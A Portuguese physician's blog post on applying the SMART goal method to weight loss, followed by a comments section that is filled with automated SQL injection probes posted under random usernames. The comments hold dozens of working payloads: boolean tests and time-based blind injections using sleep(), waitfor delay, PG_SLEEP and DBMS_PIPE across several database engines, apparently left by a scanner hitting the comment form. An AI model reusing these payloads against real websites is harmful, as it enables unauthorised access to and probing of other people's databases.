..:: Dra. Isabelle Cartaxo ::..

Técnica SMART para emagrecimento

Postado em : 22/04/2020
Por : ISABELLE
Em Emagrecimento

Perder peso e acima de tudo manter o peso perdido, requer organização!!! Saber traçar estratégias te ajuda a não se perder nessa luta diária contra a balança ‼

✅(S)pecifico: trace objetivos e metas específicos e não apenas vou emagrecer! 5% do peso em 3 meses? Especifique o plano alimentar que você vai seguir e qual exercício irá fazer! Coloque na agenda o tempo necessário para cada momento!

✅(M)ensurável: estabeleça como vai mensurar sua meta! Nesse ponto é importante o papel do médico, do nutricionista, do educador físico para estabelecer frequência de acompanhamento e verificação das metas a curto prazo.

✅(A)tingível: seja honesto consigo ao definirsuas metas, avance com metas a curto, médio e longo prazo respeitando seus limites para evitar frustrações e prejuízos à saúde. . ✅(R)ealista: pense sobre o que é relevante pra você e o que pretende alcançar. Por que você quer emagrecer? Identificar razões ajuda a manter a motivação.

✅(T)empo: trace uma linha de tempo para o processo do emagrecimento, de preferência junto com o especialista. . 🔊🔊Não ande sozinho.

Procure tratamento especializado!👩‍⚕️

Comentários

lxbfYeaa disse:

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-1 OR 2+153-153-1=0+0+0+1 --
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-1 OR 2+129-129-1=0+0+0+1
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-1' OR 2+403-403-1=0+0+0+1 --
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-1' OR 2+640-640-1=0+0+0+1 or '6zLjOUpn'='
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-1' OR 3+640-640-1=0+0+0+1 or '6zLjOUpn'='
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-1' OR 3*2<(0+5+640-640) or '6zLjOUpn'='
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-1" OR 2+89-89-1=0+0+0+1 --
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555*if(now()=sysdate(),sleep(15),0)
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5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
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5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
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lxbfYeaa disse:

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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lxbfYeaa disse:

555-1; waitfor delay '0:0:15' --
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555-1); waitfor delay '0:0:15' --
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555QbXNYkd1'; waitfor delay '0:0:15' --
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555-1 OR 144=(SELECT 144 FROM PG_SLEEP(15))--
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555-1) OR 131=(SELECT 131 FROM PG_SLEEP(15))--
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555-1)) OR 187=(SELECT 187 FROM PG_SLEEP(15))--
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55532HYldp9' OR 196=(SELECT 196 FROM PG_SLEEP(15))--
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555djkFPFL4') OR 392=(SELECT 392 FROM PG_SLEEP(15))--
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555onxM4RIE')) OR 578=(SELECT 578 FROM PG_SLEEP(15))--
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555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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lxbfYeaa disse:

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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-1 OR 2+132-132-1=0+0+0+1 -- disse:

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-1' OR 2+701-701-1=0+0+0+1 or 'Dp8kGtpI'=' disse:

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-1" OR 2+541-541-1=0+0+0+1 -- disse:

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if(now()=sysdate(),sleep(15),0) disse:

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lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z disse:

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lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z disse:

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lxbfYeaa-1 waitfor delay '0:0:15' -- disse:

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lxbfYeaaCtZXa6Ab'; waitfor delay '0:0:15' -- disse:

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lxbfYeaadPYDvfJp' OR 883=(SELECT 883 FROM PG_SLEEP(15))-- disse:

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lxbfYeaaOpREPXVL') OR 766=(SELECT 766 FROM PG_SLEEP(15))-- disse:

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lxbfYeaa96UPcH1a')) OR 95=(SELECT 95 FROM PG_SLEEP(15))-- disse:

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lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' disse:

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-1 OR 2+761-761-1=0+0+0+1 --
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-1 OR 3*2>(0+5+761-761) --
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-1 OR 2+184-184-1=0+0+0+1
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-1' OR 2+310-310-1=0+0+0+1 --
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-1' OR 2+619-619-1=0+0+0+1 or 'E7FF0H3u'='
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555*if(now()=sysdate(),sleep(15),0)
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5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
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5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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ubaTaeCJ disse:

555-1; waitfor delay '0:0:15' --
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555-1); waitfor delay '0:0:15' --
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555-1 OR 148=(SELECT 148 FROM PG_SLEEP(15))--
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555-1) OR 629=(SELECT 629 FROM PG_SLEEP(15))--
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555-1)) OR 996=(SELECT 996 FROM PG_SLEEP(15))--
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555CNZKrX6Q' OR 44=(SELECT 44 FROM PG_SLEEP(15))--
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555p80GsmJ8')) OR 448=(SELECT 448 FROM PG_SLEEP(15))--
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ubaTaeCJ disse:

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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ubaTaeCJ disse:

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-1 OR 2+874-874-1=0+0+0+1 -- disse:

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-1 OR 3*2<(0+5+874-874) -- disse:

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-1 OR 3*2>(0+5+874-874) -- disse:

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-1" OR 2+302-302-1=0+0+0+1 -- disse:

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-1" OR 3*2<(0+5+302-302) -- disse:

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-1" OR 3*2>(0+5+302-302) -- disse:

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if(now()=sysdate(),sleep(15),0) disse:

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ubaTaeCJ0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z disse:

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ubaTaeCJ0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z disse:

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ubaTaeCJ-1 waitfor delay '0:0:15' -- disse:

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ubaTaeCJ'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' disse:

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